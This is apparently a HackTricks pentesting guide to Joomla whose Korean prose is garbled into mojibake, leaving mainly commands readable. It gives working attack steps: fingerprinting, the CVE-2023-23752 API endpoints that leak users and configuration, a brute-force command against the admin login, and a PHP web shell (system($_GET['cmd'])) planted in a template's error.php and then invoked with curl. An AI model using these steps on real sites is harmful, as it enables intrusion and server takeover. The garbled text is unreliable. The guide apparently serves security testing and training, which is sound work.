Joomla
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Joomla ํต๊ณ
Joomla๋ Joomla ์ค์น์์ ์ฌ์ฉ ์ค์ธ Joomla, PHP ๋ฐ ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ฒ์ ๊ณผ ์๋ฒ ์ด์ ์ฒด์ ์ ๋ถ๋ฅ์ ๊ฐ์ ์ต๋ช ์ ์ฌ์ฉ ํต๊ณ๋ฅผ ์์งํฉ๋๋ค. ์ด ๋ฐ์ดํฐ๋ ๊ทธ๋ค์ ๊ณต๊ฐ API๋ฅผ ํตํด ์ฟผ๋ฆฌํ ์ ์์ต๋๋ค.
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}
Enumeration
Discovery/Footprinting
- ๋ฉํ ํ์ธ
curl https://www.joomla.org/ | grep Joomla | grep generator
<meta name="generator" content="Joomla! - Open Source Content Management" />
- robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
- README.txt
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
Version
- /administrator/manifests/files/joomla.xml์์ ๋ฒ์ ์ ํ์ธํ ์ ์์ต๋๋ค.
- /language/en-GB/en-GB.xml์์ Joomla์ ๋ฒ์ ์ ํ์ธํ ์ ์์ต๋๋ค.
- plugins/system/cache/cache.xml์์ ๋๋ต์ ์ธ ๋ฒ์ ์ ํ์ธํ ์ ์์ต๋๋ค.
Automatic
droopescan scan joomla --url http://joomla-site.local/
API ์ธ์ฆ๋์ง ์์ ์ ๋ณด ์ ์ถ:
๋ฒ์ 4.0.0์์ 4.2.7๊น์ง๋ ์ธ์ฆ๋์ง ์์ ์ ๋ณด ์ ์ถ(CVE-2023-23752)์ ์ทจ์ฝํ์ฌ ์๊ฒฉ ์ฆ๋ช ๋ฐ ๊ธฐํ ์ ๋ณด๋ฅผ ๋คํํฉ๋๋ค.
- ์ฌ์ฉ์:
http://<host>/api/v1/users?public=true - ๊ตฌ์ฑ ํ์ผ:
http://<host>/api/index.php/v1/config/application?public=true
MSF ๋ชจ๋: scanner/http/joomla_api_improper_access_checks ๋๋ ๋ฃจ๋น ์คํฌ๋ฆฝํธ: 51334
๋ฌด์ฐจ๋ณ ๋์
์ด ์คํฌ๋ฆฝํธ๋ฅผ ์ฌ์ฉํ์ฌ ๋ก๊ทธ์ธ์ ๋ํ ๋ฌด์ฐจ๋ณ ๋์ ์ ์๋ํ ์ ์์ต๋๋ค.
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
admin:admin
RCE
๋ง์ฝ ๊ด๋ฆฌ์ ์๊ฒฉ ์ฆ๋ช ์ ์ป์๋ค๋ฉด, PHP ์ฝ๋ ์กฐ๊ฐ์ ์ถ๊ฐํ์ฌ RCE๋ฅผ ์ป์ ์ ์์ต๋๋ค. ์ฐ๋ฆฌ๋ ํ ํ๋ฆฟ์ ์ปค์คํฐ๋ง์ด์ฆํ์ฌ ์ด๋ฅผ ์ํํ ์ ์์ต๋๋ค.
Configuration์๋์ **Templates**๋ฅผ ํด๋ฆญํ์ฌ ํ ํ๋ฆฟ ๋ฉ๋ด๋ฅผ ๋ถ๋ฌ์ต๋๋ค.- ํ
ํ๋ฆฟ ์ด๋ฆ์ ํด๋ฆญํฉ๋๋ค.
Template์ด ํค๋ ์๋์ **protostar**๋ฅผ ์ ํํฉ์๋ค. ๊ทธ๋ฌ๋ฉดTemplates: Customiseํ์ด์ง๋ก ์ด๋ํฉ๋๋ค. - ๋ง์ง๋ง์ผ๋ก, ํ์ด์ง๋ฅผ ํด๋ฆญํ์ฌ ํ์ด์ง ์์ค๋ฅผ ๋ถ๋ฌ์ฌ ์ ์์ต๋๋ค.
error.phpํ์ด์ง๋ฅผ ์ ํํฉ์๋ค. ๋ค์๊ณผ ๊ฐ์ด ์ฝ๋ ์คํ์ ์ํ PHP ์๋ผ์ด๋๋ฅผ ์ถ๊ฐํ ๊ฒ์ ๋๋ค: system($_GET['cmd']);- ์ ์ฅ ๋ฐ ๋ซ๊ธฐ
curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id
From XSS to RCE
- JoomSploit: Joomla ์ทจ์ฝ์ ์ ์ฉ ์คํฌ๋ฆฝํธ๋ก XSS๋ฅผ RCE ๋๋ ๊ธฐํ ์น๋ช ์ ์ธ ์ทจ์ฝ์ ์ผ๋ก ์์น์ํต๋๋ค. ๋ ๋ง์ ์ ๋ณด๋ ์ด ๊ฒ์๋ฌผ์ ํ์ธํ์ธ์. ์ด๋ Joomla ๋ฒ์ 5.X.X, 4.X.X, ๋ฐ 3.X.X์ ๋ํ ์ง์์ ์ ๊ณตํ๋ฉฐ, ๋ค์์ ํ์ฉํฉ๋๋ค:
- ๊ถํ ์์น: Joomla์ ์ฌ์ฉ์๋ฅผ ์์ฑํฉ๋๋ค.
- (RCE) ๋ด์ฅ ํ ํ๋ฆฟ ํธ์ง: Joomla์ ๋ด์ฅ ํ ํ๋ฆฟ์ ํธ์งํฉ๋๋ค.
- (์ปค์คํ ) ์ฌ์ฉ์ ์ ์ ์ต์คํ๋ก์: ์๋ํํฐ Joomla ํ๋ฌ๊ทธ์ธ์ ์ํ ์ฌ์ฉ์ ์ ์ ์ต์คํ๋ก์์ ๋๋ค.
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


